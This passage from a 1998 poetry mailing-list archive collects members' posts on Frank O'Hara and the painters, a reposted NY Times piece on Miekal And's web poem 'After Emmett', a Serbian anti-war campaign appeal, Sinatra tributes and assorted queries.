conflation of disjunction & lyricism, its moments of transparency having an almost unaccountable shock-effect -- & all of this in the somewhat incongrous setting of Winthrop House.

↑ Index

330. **Michael Magee**
Re: Frank
Thu 14 May 1998

JDEBROT: "the Abstract Expressionists -- that this "universal" consciousness was white, straight, & male. For this reason, although they were conflicted in their relationship to Ab Ex, an expressionistic poetics would have seemed untenable to the New York School poets.

Given, also, the recent & on-going re-discovery of the chief aesthetic strategies of the historical avant-garde, an expressionistic & autonomous poetics would have appeared reactionary. What needs to be done I think is to work out the ways in which the simultanaeity of the rediscoveries and repetitions of Dadaist oppositional strategies in the work of Burroughs, Ashbery, Cage, and to a lesser extent, O'Hara "substantiates the hypothesis that the discursive formation of modernism generated its own historical and evoloutionary dynamic" (Bucholoh) -- rather than being for example a pathetic & failed repetition of those strategies (i.e. Peter Burger). Moreover, any discussion of expression in O'H's work has to be historicized, right? After all, an attachment to transcendent logics seems to be what O'H was, in part, attempting to discredit."

For all of FOH's attatchment to Pollock, de Kooning, isn't his work more analogous to later pals like Rauschenberg (of the combines), Johns, & Rivers (in, say, "Mr. Art," or "Washington Crossing the Delaware" - all decidedly less heteronormal characters, yes? -m.

↑ Index

331. **Jordan Davis**
"O'Hara compared to artists."
Thu 14 May 1998

Michael Magee asks if there is not more connection between Rauschenberg or Johns and O'Hara than between De Kooning or Pollock and O'Hara. Time does not permit me now to say why I don't think so, except that Johns is so affiliated with Ashbery in my mind as to preclude comparison with other poets, and Rauschenberg despite the monumental output never once seems even half as intelligent as O'Hara. O'Hara could have to do with the stupid energy (and brilliant line) of Pollock and the brilliant line (and stupid figuration) of De Kooning, if stupid only had its post-1987 meanings. Maybe see O'Hara as not on

a one-to-one correspondence with painters, the way Larry Rivers borrows equal parts Koch and O'Hara?

JD

↑ Index

332. **Pritchett,Patrick**
Re: Yo Po Grows
Thu 14 May 1998

From today's NY Times:

By MATTHEW MIRAPAUL

A Poetic Homage -- of the 3-Letter, 3-Word Variety

<Picture: P>oe Try Art. Web Voy Age. Mie Kal And.

It's Not All. --that easy to tell a tale in trios of three-letter clusters, exactly nine characters to a page. (The apostrophe near the start of this sentence, for example, is cheating.)

But And Has. After Emmett, a multimedia poem launched on the Web last month by the artist and writer Miekal And, takes readers on a 53-screen journey that is as visually stimulating as it is linguistically limber.

Each page of And's poem [his first name is pronounced "me-KELL," his second like the conjunction] consists of a three-by-three grid of letters and punctuation marks. Some grids parse perfectly ("Eye Sea Eye"), others do not ("Hum Ble Ark").

Using a simple animation technique that does not require special browser plug-ins, And has enlivened each character by continuously cycling it through a sequence of five to eight different typefaces.

As an "I" arises in typographic fonts such as Bodoni, Harlequin, Helvetica, Stonecutter and Thunderbird, the vivid vowel seems to swell and shrink. Its eight neighbors are equally hyperactive, twitching, throbbing and percolating to pupil-popping effect.

During a telephone interview last week from his home in southwestern Wisconsin, And said, "All the words are meant to refer abstractly to the sense of a voyage, and I wanted it [the poem] to be real visual so that the voyage was hypnotic."

"Even though it's just three words on the screen," he continued, "I want people to stare at one page for 5 minutes. Even if they get the words right away, they'll keep looking at the dance of the typography."

"After Emmett" is clever, playful and -- given its formal strictures -- surprisingly effective at conveying an impression of narrative progress. It joins a growing canon of verse that exploits the Web's multimedia capabilities to expand the form's possibilities, just as the "concrete poetry" movement of the 1960's aspired to increase meaning through the graphic arrangement of words on the printed page.

Kenneth Goldsmith is the Manhattan-based editor of UbuWeb, the best site for visual poetry on the Internet. He described "After Emmett" as a typical example of concrete poetry that has been published on the Web, adopting the dynamics of the medium for its own purposes.

"Concrete Poetry has always tried to invoke movement on the page," Goldsmith said. "It achieved this through a variety of static means: the flipbook, the dispersion of letters on a page, etc. While 'After Emmett' employs the movement of letters, it still invokes the flatness of the page. It's a journey, but it's a two-dimensional journey instead of three."

He called for even more advanced applications of multimedia effects to verbal artistry, citing as an example the three-dimensional Visual Thesaurus discussed in a recent "[redacted]" column.

"Now that we are able to manipulate words [on a Web page], the simple formal manipulation of letters is not enough," Goldsmith said. "Content needs to sweep our minds in some magical way, supported by today's technology. With concrete poetry on the Web, the medium might not be the message."

And's work is intended as a new-media tribute to Emmett Williams, one of the first concrete poets and a leading member of the Fluxus conceptual art movement (its adherents included Yoko Ono and the electronic-art pioneer Nam June Paik).

The poem pays homage to Williams's own "The Voy Age," a 1975 piece composed of 100 word squares. that diminish in size as the work proceeds. By the final page, the grid is so small that it appears to be a period.

Goldsmith noted that "The Voy Age" and "After Emmett" share thematic material as well as a graphic structure.

"Williams composed his work in Nova Scotia, looking out on ships moving slowly across the harbor; And sprinkles water-based references throughout his work," Goldsmith explained. "The last section of And's work is an analysis of the

formal properties of language -- puns, shenanigans, logic -- which mirrors William's visual-poetic concerns."

And acknowledged that he has been deeply influenced by Williams. Although he has not viewed "The Voy Age" for a dozen years, And did remember to construct his last grid entirely out of punctuation marks. (He also cheats a bit, using the browser frame to title sections.)

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Williams, now 73, can even be found dabbling on the Internet. His 1957 work, Four- Directional Song of Doubt for Five Voices, has been adapted for the Web.

And's creative endeavors, which are detailed on his home page, Qazingulaza, range from compiling an online dictionary of neologisms to building new musical instruments like the "ukelimba."

An occasional performance artist, he also was one of the first to reproduce artists' books on a photocopier; the imprint of his publishing firm, Xexoxial Editions, is derived from the name of a certain copier manufacturer.

Born 40 years ago in central Wisconsin as Michael Anderson, And now lives about 70 miles from Madison. Around the bean-sized town of West Lima, And and a handful of like-minded residents have founded an alternative community dubbed Dreamtime Village. Their goal is to balance a devotion to the soil with a high-tech approach to creativity, an unusual mix that resembles And's aesthetic.

"I find that a good place to begin is to confuse the boundaries as much as possible," And said. "A very fruitful area to work in is wherever all the genres and medias and boundaries meet. A lot of my art is based on working those edges to the max."

Can And Max. See Web Art. Now The End.

---------- Related Sites Following are links to the external Web sites mentioned in this article. These sites are not part of The New York Times on the Web, and The Times has no control over their content or availability. When you have finished visiting any of these sites, you will be able to return to this page by clicking on your Web browser's "Back" button or icon until this page reappears.

¦After Emmett

¦UbuWeb Visual, Concrete & Sound Poetry

¦Visual Thesaurus and the recent "[redacted]" column on the Visual Thesaurus

¦Emmett Williams's biography is online, as is a more detailed résumé of his career

¦"Like Attracts Like" is an early example of Williams's concrete poetry

¦Fluxus

¦Four-Directional Song of Doubt for Five Voices, a Williams piece online that uses Java to recreate a 1957 work

¦Qazingulaza is the home page of Miekal And and his family. The link to Joglars leads to some of And's multimedia work.

¦Dreamtime Village

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333. **groberts**
Re: Frank
Thu 14 May 1998

"After all, an attachment to transcendent logics seems to be what O'H was, in part, trying to discredit."

This may be true but O'Hara does in some poems incorporate the remnants of a kind of transcendent logic with more than pastiche in mind, to my mind; I hear even a little nostalgia for it. A great poem like "Kruschev is coming on the right day" seems to be contrasting its revelling in surface with the supposed weightiness of religious diction such as "grace." I suppose it's heretical to think of F O'H as a latter day Pop version of Hopkins, but sometimes, NOT always, I read him so. "Rhapsody" and "For the Chinese New Year (and For Bill Berkson)" would be other poems that I find interesting to read along side Hopkins' "Heraclitean Fire" poem. I guess that "discredit" means not "ignore" but to give a provisional credit/credence to such logic and then to take it back??

Gary R.

↑ Index

334. **Tenney Nathanson**
Re: "O'Hara compared to artists."
Thu 14 May 1998

O'Hara's essay on Pollock, though, often reads like a guide to O'Hara's own work. Esp. the parts on the sense of the kinetic in Pollock, the way Pollock can seem to speed up or slow down movement through the canvas by thinning or thickening the line. Put that together w Kenner on Pound "relaxing or tightening the texture of the vocabulary" (or something like that--re Propertius) and walla you pretty much get FOH.

meanwhile chalk me up in the "dumbfounded silence" column re the notion that FOH's pallette is limited....

Tenney

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of Jordan Davis*
> *Sent: Thursday, May 14, 1998 6:52 AM*
> *To: [redacted]*
> *Subject: "O'Hara compared to artists."*
>
> *Michael Magee asks if there is not more connection between Rauschenberg or Johns and O'Hara than between De Kooning or Pollock and O'Hara. Time does not permit me now to say why I don't think so, except that Johns is so affiliated with Ashbery in my mind as to preclude comparison with other poets, and Rauschenberg despite the monumental output never once seems even half as intelligent as O'Hara. O'Hara could have to do with the stupid energy (and brilliant line) of Pollock and the brilliant line (and stupid figuration) of De Kooning, if stupid only had its post-1987 meanings. Maybe see O'Hara as not on a one-to-one correspondence with painters, the way Larry Rivers borrows equal parts Koch and O'Hara?*
>
> *JD*

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335. **Tenney Nathanson**
Re: Frank
Thu 14 May 1998

---

also true I think. There's a repeated sense of clunking into the given, the found--often to comic effect--that's not well explained by huge lyricism of Pollock or Klein, say. But to say he's like Pollock and also like Rivers, say, is one way of suggesting the way the limited pallette theory misses this boat.

Tenney

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of Michael Magee*
> *Sent: Thursday, May 14, 1998 6:42 AM*
> *To: [redacted]*
> *Subject: Re: Frank*
>
> *JDEBROT: "the Abstract Expressionists -- that this "universal" consciousness was white, straight, & male. For this reason, although they were conflicted in their relationship to Ab Ex, an expressionistic poetics would have seemed untenable to the New York School poets.*

> *Given, also, the recent & on-going re-discovery of the chief aesthetic strategies of the historical avant-garde, an expressionistic & autonomous poetics would have appeared reactionary. What needs to be done I think is to work out the ways in which the simultanaeity of the rediscoveries and repetitions of Dadaist oppositional strategies in the work of Burroughs, Ashbery, Cage, and to a lesser extent, O'Hara "substantiates the hypothesis that the discursive formation of modernism generated its own historical and evoloutionary dynamic" (Bucholoh) -- rather than being for example a pathetic & failed repetition of those strategies (i.e. Peter Burger). Moreover, any discussion of expression in O'H's work has to be historicized, right? After all, an attachment to transcendent logics seems to be what O'H was, in part, attempting to discredit."*
>
> *For all of FOH's attatchment to Pollock, de Kooning, isn't his work more analogous to later pals like Rauschenberg (of the combines), Johns, & Rivers (in, say, "Mr. Art," or "Washington Crossing the Delaware" - all decidedly less heteronormal characters, yes? -m.*

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336. **Maria Damon**
Re: Yo Po Grows
Thu 14 May 1998

---

this is a gas; congrats miekal, let's hope the $$ start pouring in.

At 10:18 AM -0500 5/14/98, Pritchett,Patrick @Silverplume wrote:
>>From today's NY Times:
>
>By MATTHEW MIRAPAUL
>
>A Poetic Homage -- of the 3-Letter, 3-Word Variety
>
><Picture: P>oe Try Art. Web Voy Age. Mie Kal And.
>
>It's Not All. --that easy to tell a tale in trios of three-letter clusters,
>exactly nine characters to a page. (The apostrophe near the start of this
>sentence, for example, is cheating.)
>
>
> ----------
>
>
>But And Has. After Emmett, a multimedia poem launched on the Web last

month
>by the artist and writer Miekal And, takes readers on a 53-screen journey
>that is as visually stimulating as it is linguistically limber.
>
>Each page of And's poem [his first name is pronounced "me-KELL," his second
>like the conjunction] consists of a three-by-three grid of letters and
>punctuation marks. Some grids parse perfectly ("Eye Sea Eye"), others do not
>("Hum Ble Ark").
>
>Using a simple animation technique that does not require special browser
>plug-ins, And has enlivened each character by continuously cycling it
>through a sequence of five to eight different typefaces.
>
>As an "I" arises in typographic fonts such as Bodoni, Harlequin, Helvetica,
>Stonecutter and Thunderbird, the vivid vowel seems to swell and shrink. Its
>eight neighbors are equally hyperactive, twitching, throbbing and
>percolating to pupil-popping effect.
>
>During a telephone interview last week from his home in southwestern
>Wisconsin, And said, "All the words are meant to refer abstractly to the
>sense of a voyage, and I wanted it [the poem] to be real visual so that the
>voyage was hypnotic."
>
>"Even though it's just three words on the screen," he continued, "I want
>people to stare at one page for 5 minutes. Even if they get the words right
>away, they'll keep looking at the dance of the typography."
>
>"After Emmett" is clever, playful and -- given its formal strictures --
>surprisingly effective at conveying an impression of narrative progress. It
>joins a growing canon of verse that exploits the Web's multimedia
>capabilities to expand the form's possibilities, just as the "concrete
>poetry" movement of the 1960's aspired to increase meaning through the
>graphic arrangement of words on the printed page.
>
>Kenneth Goldsmith is the Manhattan-based editor of UbuWeb, the best site for
>visual poetry on the Internet. He described "After Emmett" as a typical
>example of concrete poetry that has been published on the Web, adopting the
>dynamics of the medium for its own purposes.
>
>"Concrete Poetry has always tried to invoke movement on the page," Goldsmith
>said. "It achieved this through a variety of static means: the flipbook, the

>dispersion of letters on a page, etc. While 'After Emmett' employs the
>movement of letters, it still invokes the flatness of the page. It's a
>journey, but it's a two-dimensional journey instead of three."
>
>He called for even more advanced applications of multimedia effects to
>verbal artistry, citing as an example the three-dimensional Visual Thesaurus
>discussed in a recent "[redacted]" column.
>
>"Now that we are able to manipulate words [on a Web page], the simple formal
>manipulation of letters is not enough," Goldsmith said. "Content needs to
>sweep our minds in some magical way, supported by today's technology. With
>concrete poetry on the Web, the medium might not be the message."
>
>And's work is intended as a new-media tribute to Emmett Williams, one of the
>first concrete poets and a leading member of the Fluxus conceptual art
>movement (its adherents included Yoko Ono and the electronic-art pioneer Nam
>June Paik).
>
>The poem pays homage to Williams's own "The Voy Age," a 1975 piece composed
>of 100 word squares. that diminish in size as the work proceeds. By the
>final page, the grid is so small that it appears to be a period.
>
>Goldsmith noted that "The Voy Age" and "After Emmett" share thematic
>material as well as a graphic structure.
>
>"Williams composed his work in Nova Scotia, looking out on ships moving
>slowly across the harbor; And sprinkles water-based references throughout
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>
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>Can And Max. See Web Art. Now The End.
>
>
> ---
>Related Sites
>Following are links to the external Web sites mentioned in this article.
>These sites are not part of The New York Times on the Web, and The Times
has
>no control over their content or availability. When you have finished
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>reappears.
>
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>
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>Joglars leads to some of And's multimedia work.
>
>¦Dreamtime Village

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337. Irving Weiss

Signal/Antiwar

Thu 14 May 1998

Miroljub Todorovic's International Review for Signlist Research has just issued Signal No. 18 with contributions from Clemente Padin, Jean Francois Bory, Pierre Garnier, Adriano Spatola, Bob Cobbing, Bill Kichel, Irving Weiss, and many other European visual poets and critics.

In addition, Viktor Todorovic has asked that the following Anti-War Declaration be recognized.

Date: Tue, 5 May 1998 18:01:24 +0200
From: Vesna Manojlovic <[redacted]>
To: [redacted]
Subject: Vise o ARK/ More on AntiWar Campaign

http://www.ark.org.yu/
mailto:[redacted]

[Verzija na srpskom je ispod / Serbian version below]

MORE INFORMATION ON THE ANTI-WAR CAMPAIGN

What is the ANTI-WAR CAMPAIGN? The ANTI-WAR CAMPAIGN is an action provoked with the current events in the country. It represents the reaction to the escalation of violence in the teritory of Kosovo. A situation seen so many times in the past years - same participators, same iconography, same retorics, same setting ... The only issue in question is the number of victims that are to come.

Who are the Initiators of the ANTI-WAR CAMPAIGN?

The ANTI-WAR CAMPAIGN was initiated by individuals from Belgrade. We are members of various organizations - students', trade unions, non-governmentals. Our activities differ, but we are all gathered in one common strugl e - for a better and more humanized society - that can only be won if the war is prevented.

What are We Planing to Do?

As an oppinion or even an idea of this kind is not likely to reach the majority due to the encresing bitterness of war discourse, we have decided to present them to all in person. The idea is to disribute one million leaflets in 160 municipalities, in Central Serbia and Voivodina. We have chosen leaflets as a mean, for that is the only medium that entitles the opportunity for direct contact and communication with the people. Although that might be considered very ambitious, we believe that it is at this time the most adequate way. Our action will not consist of that solely; we are also planing to stick posters and are looking for support of the independant media.

What is Our Goal?

The primary goal of the ANTI-WAR CAMPAIGN is to affirm peace as a major value, to promote equal rights coexistence in a multiethnic community like Serbia; to promote responsible concept of patriotism; to give an alternative to dominant autoritarian patterns through striving for mutual understanding, tolerance, solidarity, openmindednass and above all against violence; and activating and connecting large number of individuals and organizations of various profiles upon the articulation of anti-war attiude.

How Do We Plan to Do That?

The idea is to start distributing leaflets in those places that are most remote from Belgrade, so as to finish in Belgrade. As we have decided for all places in the territory of Central Serbia and Voivodina with more than 10 thousend inhabitants, according to the methodology used, we have reached the number of 160 municipalities (including 16 of Belgrade). In each of those places leaflets would be distributed by the activists from Belgrade with local people that support the action. In smaller towns distribution would last for one day, while in larger towns it would take two or more days. A 'Coordination Body' will be

formed with the role to initiate and faciliate the action, it will arrange daily schedules for distribution teams, provide vehicles, organize transportation for distribution teams, contact and coordinate activists, contact all supporting organizations= , and deal with all difficulties that might appear. A very important segment of the action is the media coverage that would help to involve in the action all interested citizens. Concerning that, news conferences are planned to be held, advertisements rendered in daily papers, jingles played on the radio, videos shown on TV, and a presentation made for Internet while the action is taking place. Also, the printing of postres that would be sticked the day before the distribution in the particular town is intended. The action is supposed to last for approximately 16 days with the support of the local polpolation. We are collecting the assets in various ways - from contacts and services free of charge, to financial support.

As a prevention against risks that the activists might face, solicitors will be engaged across Serbia for promp reactions if needed. That is why we have planed to rent a few mobil phones. How Did We Get Organized? Many have, probably, though that an anti-war action must necessarily be organized. It was only a metter of time when the clear concept would appear. Thus there was no need for long convincing on starting the action. The proposers of this sort of organized practice are mostly students that worked in the first phase - that is involving and informing as many people as possible, both in Belgrade and in other parts of Sebia. The logical course is now coordination of activities and forming a network of activists that could cover the whole territory of Serbia. Numerous non-governmental organizations have by now given their support, partly by activating their own networks of activists. All those that find such things necessary are joining the initial group.

The basic principle of the whole ANTI-WAR CAMPAIGN is not to represent a potential new NGO, another one among the 'umbrella organizations', nor anything alike. The ANTI-WAR CAMPAIGN is an ad hoc action, which gathers, a ctivates and motivates wide range of people of different backgrounds, on the fundamental need: to live in peace.

What Was Done by Now?

By this moment around one hundred people from Belgrade and few dosens of them from Kragujevac, Novi Sad, Vranje, Ni{, Kraljevo, Zrenjanin, Sombor, Kova~ica, Subotica, Novi Pazar etc., have confirmed their participation in the ANTI-WAR CAMPAIGN. The fact that some of the organizations have already lent their networks of activists willing to participate in the ANTI-WAR CAMPAIGN. We have gained media support and the sponsorship from some media, and are currently working on informing and encresing the number of

activists, designing the leflets and posters, and as well finding meens to create conditions for realization of the action.

What Do We Need?

For full completion of the activities mentioned the following should be supplied: an office in Belgrade (that is to be used in coordination of act ivities in the field, with a computer, a printer, a phone, a fax machine and a photocopy machine); office accessories (paper, fax paper, discs, cartridges); vehicles; printing of leaflets, postres, shirts, badges, bumper-stickers; production of the video and the radio jingle; news conference halls; advertisements in newspapers; presenting the video and the jingle : a web site; mobil phones.

[end of english version]

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338. **Judy Roitman**
Re: Yo Po Grows
Thu 14 May 1998

> *<Picture: P>oe Try Art. Web Voy Age. Mie Kal And.*

I must be Web-impaired. What is the URL?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

339. **ken|n|ing**
Query)
Thu 14 May 1998

Lisa Samuels, you out there? Please back-channel. Thanks. Patrick F. Durgin

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                    |
                    |
k e n n i n g``````````````|``````````````````````````````````````````
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a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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340. **groberts**
Re: Frank
Thu 14 May 1998

In all of the discussion of O'Hara and painters, we should not forget Joan Mitchell and Grace Hartigan, who have at least as much relevance to his work as the male artists mentioned so far. If not more so: Mitchell's frenetic style of the late 50s, for example, has the same kind of punctuated buzzing quality of O'Hara's open syntax. Hartigan's work takes up gender issues in a way more related to O'Hara than any of the other male artists with the possible exception of Rauschenberg in the combines.

Gary R.

↑ Index

341. **Miekal And**
Re: Yo Po Grows
Thu 14 May 1998

Judy Roitman wrote:
>
> >>
> >><Picture: P>oe Try Art. Web Voy Age. Mie Kal And.
> >>
>
> I must be Web-impaired. What is the URL?
>

After Emmett is at:
http://www.net22.com/qazingulaza/joglars/afteremmett/bonvoyage.html

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342. **Maz881**
Re: Frankly
Thu 14 May 1998

What happened to dharmok at Tenagra? Jordan asks. Did you ever see Enemy Mine? a good sci-fi movie. Frank this: Dennis Quaid is an earthling on space patrol; Louis Gossett Jr. is an alien. When they're stranded on a desolate planet, they learn peace.

in the made for tv version (star trek the next generation) dharmok and jilad are ancient mythic characters who fought a bad monster together at this place in the middle of the ocean called tenagra.

i think the phrase (dharmok & jilad at tenagra) is repeated over & over in this episode of the Next Generation as a way of thinking and talking together. By getting together dharmok & jilad were able to fight and destroy the bad monster.

The synopsis of this particular episode: Picard and this "other alien" captain (who tells the myth of dharmok & jilad, old stories of his people, to try to tell picard things) are stuck on this planet where there is a bad monster. the other alien captain (played by Paul Winfield) doesn't speak in standard utilitarian language. But just says poems the whole episode. Piccard finally understands at the end. And he and the other captain fight the bad monster together. But the other alien captain gets killed because it have taken piccard too long to understand the poems. However, there is hope for the future as the federation and this new alien race can sort of speak poems together. Timbre with his arms wide. shaka, when the walls fell.

Bill Luoma

btw, I think Jordan is asking this because he is reading my new book from Hard pRess .The Figures. Called Works and Days. It's available from Small Press Distribution but I'd order it from Rod Smith ([redacted]) because it will be cheaper. it's 140 or so pages. it's something like poetry, story, memoir and poetics.

Below are some blurbs from the back cover of Works & Days.

"Bill Luoma writes like an anchorman, not so much an 'insider' as a glider on the minimalist way of expressing being alive in groups with a purpose (the team). Once the purpose has been established, a tighter focus begins to take over, the love of women, or narrating Douglas, Bill's friend. Not since Bob Gluck and Bruce Boon's camaraderie in the 70s has there been such a literary buddy's movie as this. It's sketchy, and knowing and gleeful. Not since Thoreau has someone I know suggested that everything counts and then gone to work, wherever." --Eileen Myles

"The style of this book is naive and winning, or seemingly so, somewhat in the manner of the late Joe Brainard, and like Brainard Luoma takes great pleasure in the minute details of everyday life--names of people or places met or visited only briefly, figures of speech transcribed so exactly a sublime silliness overflows the shallowness--how habits and memories are shared among friends. For me, the value of this book--besides precision and charm, values to be sure--is the depth of feeling that it evinces, not in any one place, but in the very

movement of the prose, in the 'Trip' Luoma takes us on." --Benjamin Friedlander

"Spaces between sentences: interesting. Spaces within sentences: interesting. The sentences being both literally true and constantly verbally inventive. And being about what you might call gossip, i.e. real life (and also certain sports: baseball and poetry) Works & Days is, well, astonishingly readable. And isn't to be readable poetry's best possibility?" --Alice Notley

---

<<Date: Wed, 13 May 1998 14:41:59 -0400
From: Jordan Davis <[redacted]>
Subject: Frankly

A nice moment in Charles North's book of essays when he complains about Ashbery's punishing caprices, like "Leading liot act to foriage", it makes me think about O'Hara's use of the word "frankly" which always makes me tip me head forward in discomfort, eyes narrowed as from huge glare. Nevertheless, I see Uncle Henry steering the holodeck's hull into a butte and COMPUTER PAUSE would come to my lips if only I knew what any of those things meant. Bill what happened to Djarmok at Tenagra? I am outing you but you did it yourself. Now Henry I want to know why you are suggesting there is a direct connection between O'Hara and Seinfeld. What is up with those Providence anchorpeople's hair? I don't think O'Hara would have disliked Seinfeld, but more than that, I don't think any of us who argue that O'Hara had a better-populated mood palette than Gary argued would argue that it's possible to write like O'Hara -- not only does none of us have the datebook of an O'Hara, not only are we more restricted in our permissions (don't ask don't ask!), we have a somewhat different culture to pick and choose from. No offense to Zhdanov or Parschikov or Dragomoschenko, but where in the world are the Pasternaks for a young poet to cable support? Why haven't the young poets from Harvard shown up yet? Are they all writing for The Simpsons?

Subsistence, well we haven't heard much about it yet, but won't its poetic equivalent risk malnourishment? There's been some rumbling (Mark P? Gary?) about poetry and surplus. I'm no economist, but although poetry doesn't create surplus value, couldn't it be said to be the surplus of language itself? and when we say of something that it has duende or energy or overdeterminacy couldn't it just be this surplus of meaning? Please don't prematurely count me against the whole earth poetries, but tell me more, especially if you can do it without using the word "minimal".

OK today --
Jordan>>

↑ Index

343. Peter Quartermain
Re: Frankly my dearzies
Thu 14 May 1998

That's

Jacobo Timerman

Maria

PQ

At 02:31 PM 5/13/98 -0600, you wrote:
>just to thank everyone who responded to my queries, about british explit,
>about renga, and l peltier.
>
>i remembered my third query. is jacobo timmerman the proper spelling for
>the guy who wrote prisoner w/o a name, cell w/o a number? and is
>argentine?
>
>and another; i've lost my poetry project newsletter w/ hannah weiner obits.
>need fullcitation info for charles bernstein's nice piece on her.
>
+ + + +

at 552 W. 53rd St. (between 10th and 11th aves.). Wish I could go. He hopes to meet some of you.

Rae Armantrout

↑ Index

345. Maria Damon

Re: Frankly my dearzies

Thu 14 May 1998

---

thanks peter; i knew something was amiss when my netsearch for jacobo timmermann brought up a lot of german interests

At 4:26 PM -0700 5/14/98, Peter Quartermain wrote:
>That's
>
>Jacobo Timerman
>
>Maria
>
>PQ
>
>
>At 02:31 PM 5/13/98 -0600, you wrote:
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>>need fullcitation info for charles bernstein's nice piece on her.
>>
> + + +

>
> + + +

348. **R. Gancie**
black hole big macula attack
Fri 15 May 1998

"'This one is eating meat,' said Edward Weiler, chief Hubble scientist and head of NASA's Origins program."---Kathy Sawyer, Washington Post --- "This work is so crude and elementary in its nature that the writer firmly believes that it would be possible to train an intelligent gorilla so as to become a more efficient pig iron handler than any man can be. Yet it will be shown that the science of handling pig iron is so great and amounts to so much that it is impossible for the man who is best suited for this type of work to understand the principles of this science, or even to work in accordance with these principles without the aid of a man better educated than he is."---Frederick Winslow Taylor, Scientific Management --- "In [Herbert A.] Simon's view,..., people were as programmed as computers and as lacking in free will as rats and ants. They did "what they are programmed to do" by environmental stimuli, much as extreme behaviorists had argued. Such behaviorism was inherent in cybernetic ideas. Both natural and artificial systems were presumed to behave teleologically because they were programmed with purposes and self-adaptive devices. Their goals and their homeostatic feedback mechanisms, as with a thermostat regulating room temperature, exchanged information between the system and its environment, signaled deviations from goals, and adjusted behavior automatically. This concept demolished distinctions between complex machines and organisms." "Initially , Simon had thouhgt that his work only led to "suggestive analogies." But his work with smart programs caused him to argue that people and computers used idebtical problem solving processes. His "basic point of view" was that the "programmed computer and the human problem solver" were "both species belonging to the genus IPS [Information Processing System]." Hence it followed that people could be studied through computer simulations and described in cybernetic language." "Ironically, Simonized rules of thumb were similar to Taylor's principles that Simon once belittled as proverbs."---Stephen P. Waring, Taylorism Transformed --- "My thermostat has three beliefs: it's too hot in here; it's too cold in here; it's just right in here."---John McCarthy "This porridge is too hot; this porridge is too cold; this porridge is just right."---Feedback Goldilocks reaching homeostasis

↑ Index

349. **Joe Amato/Kass Fleisher**
speaking frankly...
Fri 15 May 1998

just to intervene in this interesting discussion of one frank to say that the frank who just passed away has had a greater influence on me than o'hara... not to

take away from o'hara in the slightest---but listening to sinatra most of my life helped teach me how to listen...

doobie-doobie-do///

best,

joe

↑ Index

350. William Burmeister Prod
speaking frankly...
Fri 15 May 1998

.
.
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.
.

But if you should survive to a hundred and five
look at all you'll derive just from being alive

And here is the best part, you have a head start
if you are among the very young at heart.

-Sinatra

↑ Index

351. William Burmeister Prod
Re: speaking frankly...
Fri 15 May 1998

---

hmmm, let's try this again.
.
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.
.
.
.
But if you should survive to a hundred and five
look at all you'll derive just from being alive

And here is the best part, you have a head start
if you are among the very young at heart.

-Sinatra

↑ Index

352. William Burmeister Prod
Re: speaking frankly...
Fri 15 May 1998

ok third time's a charm. Sorry--for some reason the rest of the message is getting whacked...

But if you should survive to a hundred and five
look at all you'll derive just from being alive

And here is the best part, you have a head start
if you are among the very young at heart.

-Sinatra

↑ Index

353. Robert Hale
Re: speaking frankly...
Fri 15 May 1998

On the way to work this morning, I heard a live recording Sinatra made in the 50's of a concert in Sydney (I think), Australia. It features Red Norvo on piano and is really one of the best things he ever did. It captures him at what some would consider his peak, his "Top of the heap" -- after his big band period and before the doobie-doobie-doo stuff set in.

Sinatra skeptics out there may want to check it out. You can get it on CD.

In his small talk between songs, he says something like "this next number is one of those saloon songs...you know, the kind you want to hear at 2 in the morning, when everybody is gassed."

In the tune, he sings, "drink up, you happy people."

At 10:47 AM 5/15/98 -0400, you wrote:
>.
>.
>.
>.
>.
>
>But if you should survive to a hundred and five
>look at all you'll derive just from being alive
>
>And here is the best part, you have a head start

>if you are among the very young at heart.
>
>-Sinatra
>
>

↑ Index

354. **Maria Damon (Maria Damon)**
yet another query
Fri 15 May 1998

---

i've got a student who wants to do a historiography of20th c "nonlinear" poetry/writing for his senior paper (10-15 pp), which will then focus on a case study like the relationship between gertrude stein's writing and lyn hejinian's writing? what are the basic texts to suggest to someone doing such an historiography? are there any? i mentioned m perloff's books, and the LANGUAGE book, and he's got Feminist Measures and Allen's Poetics of the New American Poetry --any others he shd know about?

↑ Index

355. **LITSAM**
Re: speaking frankly...
Fri 15 May 1998

In a message dated 98-05-15 11:29:24 EDT, [redacted] writes:

<< In the tune, he sings, "drink up, you happy people." >>

The Song is "Angel Eyes" and as good as most poems I have encountered of late! I mean, think about the possibilities, supposing Wallace Stevens could carry a tune!!!

Sam

↑ Index

356. **daniel bouchard**
Re: speaking rankly...
Fri 15 May 1998

At 11:47 AM 5/15/98 EDT, LITSAM wrote:
>In a message dated 98-05-15 11:29:24 EDT, [redacted] writes:
>
><< In the tune, he sings, "drink up, you happy people." >>
>

>The Song is "Angel Eyes" and as good as most poems I have encountered of
>late! I mean, think about the possibilities, supposing Wallace Stevens
could carry a tune!!!

Kenny Dorham sings a great version of this too on THIS IS THE MOMENT.

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

357. Gary Sullivan
ODDLY APPROPRIATE POEM
Fri 15 May 1998

IN THE VICINITY

In 1954, Frank O'Hara was
twenty-eight. And it's not
too hot yet, the sun is a
human person, soft & bright
by the water's edge. We
were laughing all the time;
the way we snapped the
chains of old ideas & dared
to try everything, to live &
die by our own experience.
At that time the only means
of transmission were me-
chanical. A sort of factory
still exists, but the need of
connecting all the individual
machines to a single source
of power is no longer any
reason for close, geograph-
ical proximity.
                I got up &
stepped over the other men.

I was looking for real speech
& knew I'd find plenty cuz I
happen to know what to
look for. "Did it--did it--
did it--did it--did it--" jab-
bered Sinatra, coming to a
stop like a dead doll. The
audience applauded so vig-
orously that their hands fell
off. All the way down this
index of decline measured
the extent to which they
accepted this process of
erosion.

The door flew o-
pen. In the bathroom a bro-
ken mirror lay on the bed,
the pieces flickering: the
fragments of another world
trying to reconstitute itself.
I looked down at my grimy
shirt & vomit-stained hands.
So what if it didn't happen
that way? Given the condi-
tions, the only intelligent
